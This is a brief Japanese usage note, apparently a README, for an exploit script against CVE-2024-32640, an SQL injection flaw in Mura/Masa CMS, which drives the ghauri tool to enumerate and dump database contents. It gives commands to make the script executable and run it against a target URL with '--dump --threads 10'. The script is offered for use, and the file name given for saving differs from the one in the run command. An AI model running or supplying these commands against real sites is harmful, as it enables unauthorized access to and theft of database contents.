
CVE-2024-32640(Mura/Masa CMS におけるSQLインジェクションの脆弱性)用のエクスプロイトスクリプト。ghauriを使用してデータベースの内容を列挙・ダンプします。
このスクリプトを CVE-2024-32640.sh として保存し、実行可能にしてください:
chmod +x CVE-2024-32640.sh
以下のように実行します:
./CVE-2024-32640-SQLI-MuraCMS.sh --url https://example.com/ --ghauri '--dump --threads 10'
@Helltakerc3rb